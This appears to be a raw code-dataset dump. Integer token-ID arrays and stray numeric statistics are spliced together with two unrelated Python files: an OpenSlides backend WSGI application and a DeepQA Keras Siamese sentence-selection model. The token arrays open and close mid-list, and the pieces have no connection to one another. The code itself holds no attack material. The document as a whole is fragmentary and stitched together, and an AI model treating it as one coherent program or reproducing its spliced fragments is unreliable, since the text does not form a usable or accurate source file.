220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 41313, 796, 2124, 62, 65, 1040, 198, 220, 220, 220, 220, 220, 220, 220, 1729, 62, 48727, 796, 331, 62, 65, 1040, 198, 220, 220, 220, 220, 198, 220, 220, 220, 611, 14257, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 1, 15057, 286, 4227, 368, 1686, 25, 1391, 22510, 62, 46342, 92, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 1, 49, 23900, 499, 15225, 25, 1391, 88, 62, 65, 1040, 92, 2124, 1391, 87, 62, 65, 1040, 92, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 1, 29993, 803, 625, 16488, 4129, 1391, 48727, 92, 357, 808, 62, 22478, 318, 1391, 808, 62, 22478, 30072, 4943, 628, 220, 220, 220, 279, 16, 796, 45941, 13, 9107, 418, 7, 48727, 8, 198, 220, 220, 220, 279, 17, 796, 45941, 13, 9107, 418, 19510, 48727, 11, 1729, 62, 48727, 4008, 198, 220, 220, 220, 279, 18, 796, 45941, 13, 9107, 418, 19510, 48727, 11, 1729, 62, 48727, 11, 1729, 62, 48727, 4008, 628, 220, 220, 220, 329, 1312, 287, 2837, 7, 48727, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 611, 5752, 62, 22478, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1364, 796, 8931, 62, 15, 58, 45299, 1312, 11, 1058, 4083, 7645, 3455, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 826, 796, 8931, 62, 16, 58, 45299, 1312, 11, 1058, 4083, 7645, 3455, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1364, 796, 8931, 62, 15, 58, 45299, 1058, 11, 1312, 4083, 7645, 3455, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 826, 796, 8931, 62, 16, 58, 45299, 1058, 11, 1312, 4083, 7645, 3455, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 352, 35, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 1874, 71, 1758, 362, 35, 7177, 284, 257, 352, 35, 7177, 198, 220, 220, 220, 220, 220, 220, 220, 16096, 62, 8367, 796, 45941, 13, 10215, 81, 1073, 891, 7, 9464, 13, 2704, 41769, 22784, 826, 13, 2704, 41769, 28955, 58, 15, 11, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 279, 16, 58, 72, 60, 796, 16096, 62, 8367, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 362, 35, 11, 513, 35, 198, 220, 220, 220, 220, 220, 220, 220, 16096, 62, 6759, 8609, 796, 45941, 13, 10215, 81, 1073, 891, 7, 9464, 11, 826, 38381, 15, 25, 13159, 62, 48727, 11, 1729, 62, 48727, 47715, 198, 220, 220, 220, 220, 220, 220, 220, 279, 17, 58, 72, 11, 1058, 60, 796, 45941, 13, 10989, 27923, 7, 10215, 49501, 62, 6759, 8609, 8, 198, 220, 220, 220, 220, 220, 220, 220, 279, 18, 58, 72, 11, 1058, 11, 1058, 60, 796, 16096, 62, 6759, 8609, 628, 220, 220, 220, 1441, 357, 79, 16, 11, 279, 17, 11, 279, 18, 8, 628, 628, 628, 628, 628, 628, 198, 29113, 29113, 7804, 4242, 21017, 198, 7804, 4242, 2, 198, 7804, 4242, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13047, 10627, 198, 7804, 4242, 2, 628, 198, 4299, 4808, 28144, 62, 16885, 62, 15414, 82, 7, 25558, 62, 15, 11, 8931, 62, 16, 2599, 198, 220, 220, 220, 705, 7061, 37508, 4049, 10627, 1973, 1111, 1388, 17311, 7061, 6, 198, 220, 220, 220, 8931, 62, 15, 796, 4808, 28144, 62, 29762, 62, 15414, 7, 25558, 62, 15, 11, 657, 8, 198, 220, 220, 220, 8931, 62, 16, 796, 4808, 28144, 62, 29762, 62, 15414, 7, 25558, 62, 16, 11, 352, 8, 198, 220, 220, 220, 611, 8931, 62, 15, 13, 43358, 58, 15, 60, 14512, 8931, 62, 16, 13, 43358, 58, 15, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 5298, 11454, 13, 28100, 1713, 12331, 7203, 1639, 423, 257, 1180, 1271, 286, 2494, 8739, 287, 1123, 8931, 19570, 198, 220, 220, 220, 611, 8931, 62, 15, 13, 43358, 58, 16, 47715, 14512, 8931, 62, 16, 13, 43358, 58, 16, 25, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 5298, 11454, 13, 28100, 1713, 12331, 7203, 7120, 2494, 8739, 466, 407, 423, 12336, 15225, 4943, 198, 220, 220, 220, 1441, 8931, 62, 15, 11, 8931, 62, 16, 198, 198, 4299, 4808, 28144, 62, 29762, 62, 15414, 7, 25558, 11, 1312, 2599, 198, 220, 220, 220, 705, 7061, 37508, 262, 5128, 8931, 7, 82, 8, 290, 2148, 257, 9380, 39559, 513, 35, 7177, 198, 220, 220, 220, 220, 198, 220, 220, 220, 33141, 4049, 10627, 329, 257, 4996, 286, 3403, 329, 257, 2060, 8931, 198, 220, 220, 220, 1002, 407, 1541, 257, 18007, 276, 19182, 11, 788, 10385, 284, 326, 198, 220, 220, 220, 220, 198, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 8931, 1058, 7177, 12, 2339, 198, 220, 220, 220, 220, 220, 220, 220, 1881, 286, 1388, 17311, 284, 3265, 62, 31364, 62, 10215, 49501, 13, 198, 220, 220, 220, 220, 220, 220, 220, 10358, 307, 2035, 257, 513, 35, 7177, 11, 810, 1123, 7679, 357, 25558, 58, 73, 12962, 318, 257, 14806, 13912, 11, 198, 220, 220, 220, 220, 220, 220, 220, 6375, 257, 1351, 286, 362, 35, 26515, 11, 810, 1123, 7177, 318, 257, 362, 35, 14806, 13912, 13, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1002, 257, 1351, 286, 26515, 11, 477, 26515, 1276, 307, 262, 976, 15793, 198, 220, 220, 220, 1312, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 12901, 286, 8931, 5128, 11, 9944, 973, 329, 4955, 517, 11570, 4049, 198, 220, 220, 220, 220, 220, 220, 220, 3275, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 8931, 1058, 45941, 13, 2611, 13, 45195, 276, 19182, 198, 220, 220, 220, 220, 220, 220, 220, 513, 35, 7177, 286, 14806, 47010, 11, 29229, 379, 12515, 3815, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 5391, 82, 796, 6045, 198, 220, 220, 220, 256, 796, 2099, 7, 25558, 8, 198, 220, 220, 220, 611, 256, 407, 287, 357, 4868, 11, 46545, 11, 45941, 13, 358, 18747, 11, 45941, 13, 2611, 13, 45195, 276, 19182, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 5298, 11052, 12331, 7, 69, 1, 25896, 23330, 72, 92, 1276, 307, 7177, 12, 2339, 13, 921, 2810, 1391, 83, 92, 4943, 198, 220, 220, 220, 1288, 361, 256, 287, 357, 83, 29291, 11, 1351, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 329, 5002, 287, 8931, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 304, 796, 2099, 7, 30854, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 304, 407, 287, 357, 37659, 13, 358, 18747, 11, 45941, 13, 2611, 13, 45195, 276, 19182, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 11454, 13, 28100, 1713, 12331, 7, 69, 1, 464, 4847, 286, 262, 1351, 8931, 23330, 72, 92, 1276, 307, 1, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 1, 31835, 20519, 26515, 13, 921, 2810, 1391, 68, 92, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 5391, 82, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5391, 82, 796, 5002, 13, 43358, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 5002, 13, 43358, 14512, 5391, 82, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 11454, 13, 28100, 1713, 12331, 7, 69, 1, 7120, 4227, 368, 1686, 389, 407, 257, 6414, 1, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 1, 5485, 287, 8931, 23330, 72, 92, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 6251, 274, 4049, 9041, 11, 783, 10385, 422, 1351, 284, 29229, 7177, 198, 220, 220, 220, 220, 220, 220, 220, 8931, 796, 45941, 13, 2611, 13, 27932, 276, 62, 259, 12102, 7, 25558, 8, 198, 220, 220, 220, 1288, 361, 318, 39098, 7, 25558, 11, 45941, 13, 358, 18747, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 6762, 11, 475, 10385, 284, 29229, 7177, 198, 220, 220, 220, 220, 220, 220, 220, 8931, 796, 45941, 13, 2611, 13, 27932, 276, 62, 259, 12102, 7, 25558, 8, 198, 220, 220, 220, 220, 220, 220, 220, 5391, 82, 796, 8931, 13, 43358, 58, 16, 47715, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 2262, 590, 318, 1541, 257, 18007, 276, 15690, 198, 220, 220, 220, 220, 220, 220, 220, 5391, 82, 796, 8931, 13, 43358, 58, 16, 47715, 198, 220, 220, 220, 1441, 8931, 628, 198, 220, 220, 220, 220 ]
2.422539
3,434
import os import re from typing import Any, Iterable, Union import simplejson as json from werkzeug.exceptions import BadRequest as WerkzeugBadRequest from werkzeug.wrappers import Response from ..services.auth.adapter import HEADER_NAME from ..shared.env import is_truthy from ..shared.exceptions import ViewException from ..shared.interfaces.wsgi import StartResponse, WSGIEnvironment from .http_exceptions import BadRequest, Forbidden, HTTPException, MethodNotAllowed from .request import Request health_route = re.compile("^/health$") class OpenSlidesBackendWSGIApplication: """ Central application class for this service. During initialization we bind injected dependencies to the instance. """ def dispatch_request(self, request: Request) -> Union[Response, HTTPException]: """ Dispatches request to route according to URL rules. Returns a Response object or a HTTPException (or a subclass of it). Both are WSGI applications themselves. """ if health_route.match(request.environ["RAW_URI"]): return self.health_info(request) return self.default_route(request) def default_route(self, request: Request) -> Union[Response, HTTPException]: """ Default route that calls the injected view. """ # Check request method if request.method != self.view.method: return MethodNotAllowed(valid_methods=[self.view.method]) self.logger.debug(f"Request method is {request.method}.") # Check mimetype and parse JSON body. The result is cached in request.json. if not request.is_json: return BadRequest( ViewException( "Wrong media type. Use 'Content-Type: application/json' instead." ) ) try: request_body = request.get_json() except WerkzeugBadRequest as exception: return BadRequest(ViewException(exception.description)) self.logger.debug(f"Request contains JSON: {request_body}.") # Dispatch view and return response. view_instance = self.view(self.logging, self.services) try: response_body, access_token = view_instance.dispatch(request) except ViewException as exception: env_var = os.environ.get("OPENSLIDES_BACKEND_RAISE_4XX", "off") if is_truthy(env_var): raise exception if exception.status_code == 400: return BadRequest(exception) elif exception.status_code == 403: return Forbidden(exception) else: text = ( f"Unknown ViewException with status_code {exception.status_code} " f"raised: {exception.message}" ) self.logger.error(text) raise self.logger.debug( f"All done. Application sends HTTP 200 with body {response_body}." ) response = Response(json.dumps(response_body), content_type="application/json") if access_token is not None: response.headers[HEADER_NAME] = access_token return response def health_info(self, request: Request) -> Union[Response, HTTPException]: """ Route to provide health data of this service. Retrieves status information from respective view. """ health_info = self.view(self.logging, self.services).get_health_info() return Response( json.dumps({"healthinfo": health_info}), content_type="application/json", ) def wsgi_application( self, environ: WSGIEnvironment, start_response: StartResponse ) -> Iterable[bytes]: """ Creates Werkzeug's Request object, calls the dispatch_request method and evaluates Response object (or HTTPException) as WSGI application. """ request = Request(environ) response = self.dispatch_request(request) return response(environ, start_response) def __call__( self, environ: WSGIEnvironment, start_response: StartResponse ) -> Iterable[bytes]: """ Dispatches request to `wsgi_application` method so that one may apply custom middlewares to the application. """ return self.wsgi_application(environ, start_response)
[ 11748, 28686, 198, 11748, 302, 198, 6738, 19720, 1330, 4377, 11, 40806, 540, 11, 4479, 198, 198, 11748, 2829, 17752, 355, 33918, 198, 6738, 266, 9587, 2736, 1018, 13, 1069, 11755, 1330, 7772, 18453, 355, 370, 9587, 2736, 1018, 22069, 18453, 198, 6738, 266, 9587, 2736, 1018, 13, 29988, 11799, 1330, 18261, 198, 198, 6738, 11485, 30416, 13, 18439, 13, 324, 3429, 1330, 39837, 1137, 62, 20608, 198, 6738, 11485, 28710, 13, 24330, 1330, 318, 62, 35310, 88, 198, 6738, 11485, 28710, 13, 1069, 11755, 1330, 3582, 16922, 198, 6738, 11485, 28710, 13, 3849, 32186, 13, 18504, 12397, 1330, 7253, 31077, 11, 25290, 18878, 31441, 198, 6738, 764, 4023, 62, 1069, 11755, 1330, 7772, 18453, 11, 46014, 11, 14626, 16922, 11, 11789, 3673, 3237, 6972, 198, 6738, 764, 25927, 1330, 19390, 198, 198, 13948, 62, 38629, 796, 302, 13, 5589, 576, 7203, 61, 14, 13948, 3, 4943, 628, 198, 4871, 4946, 11122, 1460, 7282, 437, 19416, 38, 3539, 381, 10142, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5694, 3586, 1398, 329, 428, 2139, 13, 628, 220, 220, 220, 5856, 37588, 356, 11007, 25077, 20086, 284, 262, 4554, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 27965, 62, 25927, 7, 944, 11, 2581, 25, 19390, 8, 4613, 4479, 58, 31077, 11, 14626, 16922, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3167, 8071, 2052, 2581, 284, 6339, 1864, 284, 10289, 3173, 13, 16409, 257, 18261, 198, 220, 220, 220, 220, 220, 220, 220, 2134, 393, 257, 14626, 16922, 357, 273, 257, 47611, 286, 340, 737, 5747, 389, 25290, 18878, 198, 220, 220, 220, 220, 220, 220, 220, 5479, 2405, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1535, 62, 38629, 13, 15699, 7, 25927, 13, 268, 2268, 14692, 20530, 62, 47269, 8973, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 13948, 62, 10951, 7, 25927, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 12286, 62, 38629, 7, 25927, 8, 628, 220, 220, 220, 825, 4277, 62, 38629, 7, 944, 11, 2581, 25, 19390, 8, 4613, 4479, 58, 31077, 11, 14626, 16922, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 15161, 6339, 326, 3848, 262, 25077, 1570, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 6822, 2581, 2446, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2581, 13, 24396, 14512, 2116, 13, 1177, 13, 24396, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 11789, 3673, 3237, 6972, 7, 12102, 62, 24396, 82, 41888, 944, 13, 1177, 13, 24396, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6404, 1362, 13, 24442, 7, 69, 1, 18453, 2446, 318, 1391, 25927, 13, 24396, 92, 19570, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 6822, 17007, 2963, 431, 290, 21136, 19449, 1767, 13, 383, 1255, 318, 39986, 287, 2581, 13, 17752, 13, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 2581, 13, 271, 62, 17752, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 7772, 18453, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3582, 16922, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 39213, 506, 2056, 2099, 13, 5765, 705, 19746, 12, 6030, 25, 3586, 14, 17752, 6, 2427, 526, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2581, 62, 2618, 796, 2581, 13, 1136, 62, 17752, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 370, 9587, 2736, 1018, 22069, 18453, 355, 6631, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 7772, 18453, 7, 7680, 16922, 7, 1069, 4516, 13, 11213, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6404, 1362, 13, 24442, 7, 69, 1, 18453, 4909, 19449, 25, 1391, 25927, 62, 2618, 92, 19570, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 35934, 1570, 290, 1441, 2882, 13, 198, 220, 220, 220, 220, 220, 220, 220, 1570, 62, 39098, 796, 2116, 13, 1177, 7, 944, 13, 6404, 2667, 11, 2116, 13, 30416, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2882, 62, 2618, 11, 1895, 62, 30001, 796, 1570, 62, 39098, 13, 6381, 17147, 7, 25927, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 3582, 16922, 355, 6631, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 17365, 62, 7785, 796, 28686, 13, 268, 2268, 13, 1136, 7203, 3185, 1677, 8634, 42538, 62, 31098, 10619, 62, 3861, 24352, 62, 19, 8051, 1600, 366, 2364, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 318, 62, 35310, 88, 7, 24330, 62, 7785, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 6631, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 6631, 13, 13376, 62, 8189, 6624, 7337, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 7772, 18453, 7, 1069, 4516, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 6631, 13, 13376, 62, 8189, 6624, 38210, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 46014, 7, 1069, 4516, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 1, 20035, 3582, 16922, 351, 3722, 62, 8189, 1391, 1069, 4516, 13, 13376, 62, 8189, 92, 366, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 1, 49309, 25, 1391, 1069, 4516, 13, 20500, 36786, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6404, 1362, 13, 18224, 7, 5239, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6404, 1362, 13, 24442, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 1, 3237, 1760, 13, 15678, 12800, 14626, 939, 351, 1767, 1391, 26209, 62, 2618, 92, 526, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 2882, 796, 18261, 7, 17752, 13, 67, 8142, 7, 26209, 62, 2618, 828, 2695, 62, 4906, 2625, 31438, 14, 17752, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1895, 62, 30001, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2882, 13, 50145, 58, 37682, 1137, 62, 20608, 60, 796, 1895, 62, 30001, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2882, 628, 220, 220, 220, 825, 1535, 62, 10951, 7, 944, 11, 2581, 25, 19390, 8, 4613, 4479, 58, 31077, 11, 14626, 16922, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 18956, 284, 2148, 1535, 1366, 286, 428, 2139, 13, 4990, 5034, 1158, 3722, 1321, 198, 220, 220, 220, 220, 220, 220, 220, 422, 11756, 1570, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1535, 62, 10951, 796, 2116, 13, 1177, 7, 944, 13, 6404, 2667, 11, 2116, 13, 30416, 737, 1136, 62, 13948, 62, 10951, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 18261, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33918, 13, 67, 8142, 7, 4895, 13948, 10951, 1298, 1535, 62, 10951, 92, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2695, 62, 4906, 2625, 31438, 14, 17752, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 628, 220, 220, 220, 825, 266, 82, 12397, 62, 31438, 7, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 11, 551, 2268, 25, 25290, 18878, 31441, 11, 923, 62, 26209, 25, 7253, 31077, 198, 220, 220, 220, 1267, 4613, 40806, 540, 58, 33661, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 7921, 274, 370, 9587, 2736, 1018, 338, 19390, 2134, 11, 3848, 262, 27965, 62, 25927, 2446, 290, 198, 220, 220, 220, 220, 220, 220, 220, 47850, 18261, 2134, 357, 273, 14626, 16922, 8, 355, 25290, 18878, 3586, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2581, 796, 19390, 7, 268, 2268, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2882, 796, 2116, 13, 6381, 17147, 62, 25927, 7, 25927, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2882, 7, 268, 2268, 11, 923, 62, 26209, 8, 628, 220, 220, 220, 825, 11593, 13345, 834, 7, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 11, 551, 2268, 25, 25290, 18878, 31441, 11, 923, 62, 26209, 25, 7253, 31077, 198, 220, 220, 220, 1267, 4613, 40806, 540, 58, 33661, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3167, 8071, 2052, 2581, 284, 4600, 18504, 12397, 62, 31438, 63, 2446, 523, 326, 530, 743, 4174, 198, 220, 220, 220, 220, 220, 220, 220, 2183, 3504, 86, 3565, 284, 262, 3586, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 18504, 12397, 62, 31438, 7, 268, 2268, 11, 923, 62, 26209, 8, 198 ]
2.50625
1,760
from typing import Any, Dict from overrides import overrides from keras.layers import Input from keras.layers.wrappers import TimeDistributed from ...data.instances.sentence_selection_instance import SentenceSelectionInstance from ...layers.attention.attention import Attention from ...layers.wrappers.encoder_wrapper import EncoderWrapper from ...training.text_trainer import TextTrainer from ...training.models import DeepQaModel class SiameseSentenceSelector(TextTrainer): """ This class implements a (generally) Siamese network for the answer sentence selectiont ask. Given a question and a collection of sentences, we aim to identify which sentence has the answer to the question. This model encodes the question and each sentence with (possibly different) encoders, and then does a cosine similarity and normalizes to get a distribution over the set of sentences. Note that in some cases, this may not be exactly "Siamese" because the question and sentences encoders can differ. Parameters ---------- num_hidden_seq2seq_layers : int, optional (default: ``2``) We use a few stacked biLSTMs (or similar), to give the model some depth. This parameter controls how many deep layers we should use. share_hidden_seq2seq_layers : bool, optional (default: ``False``) Whether or not to encode the sentences and the question with the same hidden seq2seq layers, or have different ones for each. """ @overrides def _build_model(self): """ The basic outline here is that we'll pass the questions and each sentence in the passage through some sort of encoder (e.g. BOW, GRU, or biGRU). Then, we take the encoded representation of the question and calculate a cosine similarity with the encoded representation of each sentence in the passage, to get a tensor of cosine similarities with shape (batch_size, num_sentences_per_passage). We then normalize for each batch to get a probability distribution over sentences in the passage. """ # First we create input layers and pass the inputs through embedding layers. # shape: (batch size, num_question_words) question_input = Input(shape=self._get_sentence_shape(self.num_question_words), dtype='int32', name="question_input") # shape: (batch size, num_sentences, num_sentence_words) sentences_input_shape = ((self.num_sentences,) + self._get_sentence_shape()) sentences_input = Input(shape=sentences_input_shape, dtype='int32', name="sentences_input") # shape: (batch size, num_question_words, embedding size) question_embedding = self._embed_input(question_input) # shape: (batch size, num_sentences, num_sentence_words, embedding size) sentences_embedding = self._embed_input(sentences_input) # We encode the question embedding with some more seq2seq layers modeled_question = question_embedding for i in range(self.num_hidden_seq2seq_layers): if self.share_hidden_seq2seq_layers: seq2seq_encoder_name = "seq2seq_{}".format(i) else: seq2seq_encoder_name = "question_seq2seq_{}".format(i) hidden_layer = self._get_seq2seq_encoder(name=seq2seq_encoder_name, fallback_behavior="use default params") # shape: (batch_size, num_question_words, seq2seq output dimension) modeled_question = hidden_layer(modeled_question) # We encode the sentence embedding with some more seq2seq layers modeled_sentence = sentences_embedding for i in range(self.num_hidden_seq2seq_layers): if self.share_hidden_seq2seq_layers: seq2seq_encoder_name = "seq2seq_{}".format(i) else: seq2seq_encoder_name = "sentence_seq2seq_{}".format(i) hidden_layer = TimeDistributed( self._get_seq2seq_encoder(name=seq2seq_encoder_name, fallback_behavior="use default params"), name="TimeDistributed_seq2seq_sentences_encoder_{}".format(i)) # shape: (batch_size, num_question_words, seq2seq output dimension) modeled_sentence = hidden_layer(modeled_sentence) # We encode the modeled question with some encoder. question_encoder = self._get_encoder(name="question_encoder", fallback_behavior="use default encoder") # shape: (batch size, encoder_output_dimension) encoded_question = question_encoder(modeled_question) # We encode the modeled document with some encoder. sentences_encoder = EncoderWrapper(self._get_encoder(name="sentence_encoder", fallback_behavior="use default encoder"), name="TimeDistributed_sentences_encoder") # shape: (batch size, num_sentences, encoder_output_dimension) encoded_sentences = sentences_encoder(modeled_sentence) # Here we use the Attention layer with the cosine similarity function # to get the cosine similarities of each sesntence with the question. # shape: (batch size, num_sentences) attention_name = 'question_sentences_similarity' similarity_params = {"type": "cosine_similarity"} sentence_probabilities = Attention(name=attention_name, similarity_function=similarity_params)([encoded_question, encoded_sentences]) return DeepQaModel(input=[question_input, sentences_input], output=sentence_probabilities) @overrides def _instance_type(self): """ Return the instance type that the model trains on. """ return SentenceSelectionInstance @overrides def _get_max_lengths(self) -> Dict[str, int]: """ Return a dictionary with the appropriate padding lengths. """ max_lengths = super(SiameseSentenceSelector, self)._get_max_lengths() max_lengths['num_question_words'] = self.num_question_words max_lengths['num_sentences'] = self.num_sentences return max_lengths @overrides def _set_max_lengths(self, max_lengths: Dict[str, int]): """ Set the padding lengths of the model. """ super(SiameseSentenceSelector, self)._set_max_lengths(max_lengths) self.num_question_words = max_lengths['num_question_words'] self.num_sentences = max_lengths['num_sentences'] @overrides @classmethod
[ 6738, 19720, 1330, 4377, 11, 360, 713, 198, 6738, 23170, 1460, 1330, 23170, 1460, 198, 6738, 41927, 292, 13, 75, 6962, 1330, 23412, 198, 6738, 41927, 292, 13, 75, 6962, 13, 29988, 11799, 1330, 3862, 20344, 6169, 198, 198, 6738, 2644, 7890, 13, 8625, 1817, 13, 34086, 594, 62, 49283, 62, 39098, 1330, 11352, 594, 4653, 1564, 33384, 198, 6738, 2644, 75, 6962, 13, 1078, 1463, 13, 1078, 1463, 1330, 47406, 198, 6738, 2644, 75, 6962, 13, 29988, 11799, 13, 12685, 12342, 62, 48553, 1330, 14711, 12342, 36918, 2848, 198, 6738, 2644, 34409, 13, 5239, 62, 2213, 10613, 1330, 8255, 2898, 10613, 198, 6738, 2644, 34409, 13, 27530, 1330, 10766, 48, 64, 17633, 628, 198, 4871, 15638, 1047, 68, 31837, 594, 17563, 273, 7, 8206, 2898, 10613, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 770, 1398, 23986, 257, 357, 8612, 453, 8, 15638, 1047, 68, 3127, 329, 262, 3280, 198, 220, 220, 220, 6827, 6356, 83, 1265, 13, 11259, 257, 1808, 290, 257, 